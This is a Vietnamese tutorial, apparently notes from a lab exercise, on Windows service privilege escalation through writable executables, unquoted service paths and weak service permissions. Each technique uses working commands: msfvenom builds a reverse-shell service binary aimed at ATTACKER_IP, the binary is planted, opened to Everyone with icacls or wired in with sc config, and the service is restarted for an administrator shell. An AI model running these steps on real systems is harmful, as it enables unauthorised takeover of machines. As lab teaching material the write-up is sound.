Windows Services
Các dịch vụ trong Windows được quản lý bởi Service Control Manager (SCM). Mỗi service đều sẽ có một file thực thi tương ứng và được thực thi bằng một user nào đó. Các file thực thi này sẽ cần phải có một số hàm đặc biệt để chạy dưới dạng dịch vụ.
Để kiểm tra thông tin về một dịch vụ, ta dùng lệnh sc qc <SERVICE_NAME>
1. Nếu muốn truy vấn tất cả các dịch vụ đang chạy thì dùng lệnh sau:
sc queryex type=service
Note
Cần chú ý rằng chương trình
sc
là ở trêncmd.exe
, đối với PowerShell, ta cần dùngsc.exe
.
Nếu không muốn dùng sc
thì dùng lệnh native của PowerShell:
Get-Service | Where-Object {$_.Status -eq 'Running'}
Ví dụ kiểm tra thông tin về một dịch vụ nào đó:
C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: apphostsvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Application Host Helper Service
DEPENDENCIES :
SERVICE_START_NAME : localSystem
Có thể thấy file thực thi của dịch vụ trên là C:\Windows\system32\svchost.exe
(trường BINARY_PATH_NAME
) và dịch vụ được thực thi bởi localSystem
(trường SERVICE_START_NAME
).
Mỗi dịch vụ có một DACL (Discretionary Access Control List) cho biết quyền khởi chạy, tắt, tạm dừng, etc của các người dùng. Ngoài ra, các cấu hình của các dịch vụ được lưu ở trong Registry tại đường dẫn HKLM\SYSTEM\CurrentControlSet\Services\
.
Minh họa:
Có thể thấy, đường dẫn file thực thi nằm ở trường ImagePath
và tên user thực thi nằm ở ObjectName
. Nếu DACL được cấu hình, giá trị của nó sẽ nằm ở trong trường Security
của registry.
Insecure Permissions on Service Executable
Nếu attacker có quyền chỉnh sửa file thực thi của dịch vụ thì có thể chạy các payload tùy ý để giúp leo thang đặc quyền.
Ví dụ xét service WindowsScheduler
:
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1
File thực thi nằm ở đường dẫn C:\PROGRA~2\SYSTEM~1\WService.exe
(đường dẫn này tương đương với C:\Program Files (x86)\SystemScheduler\WService.exe
).
Thử kiểm tra các quyền của file này:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
Có thể thấy, tất cả mọi user (Everyone) đều có quyền chỉnh sửa (Modify - M). Do vậy, ta có thể thay thế nó thành một file thực thi khác mà ta muốn.
Chạy câu lệnh Metasploit Venom sau để tạo ra payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=ATTACKER_PORT -f exe-service -o rev-svc.exe
Ta chạy webserver bằng Python và chuyển payload cho target machine. Sau đó đổi tên file thực thi của dịch vụ và chuyển payload vừa tải vào đường dẫn của file thực thi:
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
Ta cần phải gán đầy đủ quyền cho payload:
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.
Sau đó khởi chạy Netcat server ở attacking machine và restart dịch vụ như sau:
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler
Khi đó, ở attacking machine ta sẽ có được reverse shell có quyền administrator.
Unquoted Service Paths
Nếu đường dẫn của file thực thi không có dấu ngoặc kép, ta có thể lợi dụng để leo thang đặc quyền.
Ví dụ xét dịch vụ sau:
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2
Có thể thấy, đường dẫn của file thực thi có khoảng trắng. Thay vì xảy ra lỗi, SCM lại cố gắng tìm file thực thi và chạy chúng theo thứ tự như sau:
Command | Argument 1 | Argument 2 |
---|---|---|
C:\\MyPrograms\\Disk.exe | Sorter | Enterprise\\bin\\disksrs.exe |
C:\\MyPrograms\\Disk Sorter.exe | Enterprise\\bin\\disksrs.exe | |
C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe |
Nếu chúng ta tạo được file thực thi Disk.exe
ở trong thư mục C:\\MyPrograms
thì có thể leo thang đặc quyền.
Tuy nhiên, đa số các chương trình đều được cài đặt ở trên các thư mục cần có đặc quyền để ghi chẳng hạn như C:\Program Files
và C:\Program Files (x86)
. Do đó, kỹ thuật này chỉ có thể sử dụng đối với những dịch vụ mà có file thực thi nằm ở các thư mục mà ta có quyền ghi.
Đối với dịch vụ ở ví dụ trên, ta cần kiểm tra quyền của thư mục C:\MyPrograms
:
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
Có thể thấy là user BUILTIN\Users
có quyền AD và WD tương ứng với tạo các thư mục con và các tập tin.
Ta tạo ra payload bằng Metasploit Venom tương tự như kỹ thuật trước đó:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=ATTACKER_PORT -f exe-service -o rev-svc2.exe
Chuyển cho target machine và khởi chạy một Netcat server ở attacking machine. Sau đó chuyển payload đã tải ở target machine vào thư mục mà ta muốn với tên Disk.exe
, cũng như là cấp đầy đủ quyền cho nó:
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Successfully processed 1 files.
Khởi động lại dịch vụ và ta sẽ có được reverse shell có quyền administrator.
Insecure Service Permissions
Trong trường hợp hai kỹ thuật trên không thể thực hiện (chúng ta không có quyền thay đổi file thực thi và đường dẫn đến file thực thi được bao quanh bởi dấu ngoặc kép), ta vẫn có cách để leo thang đặc quyền nếu ta có quyền cấu hình dịch vụ để nó trỏ đến file thực thi bất kỳ và sử dụng user bất kỳ.
Ta kiểm tra quyền cấu hình của dịch vụ bằng chương trình accesschk64.exe
:
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
Có thể thấy, user BUILTIN\Users
có quyền SERVICE_ALL_ACCESS
nên ta có thể cấu hình service một cách tùy ý.
Tương tự những kỹ thuật trên, ta cũng tạo một payload bằng Metasploit Venom, chuyển sang cho bên target machine và khởi chạy Netcat server ở attacking machine.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=ATTACKER_PORT -f exe-service -o rev-svc3.exe
Gán đầy đủ quyền cho payload:
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
Ta cấu hình service như sau:
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
Sau đó khởi động lại service và ta có được reverse shell với quyền administrator ở attacking machine.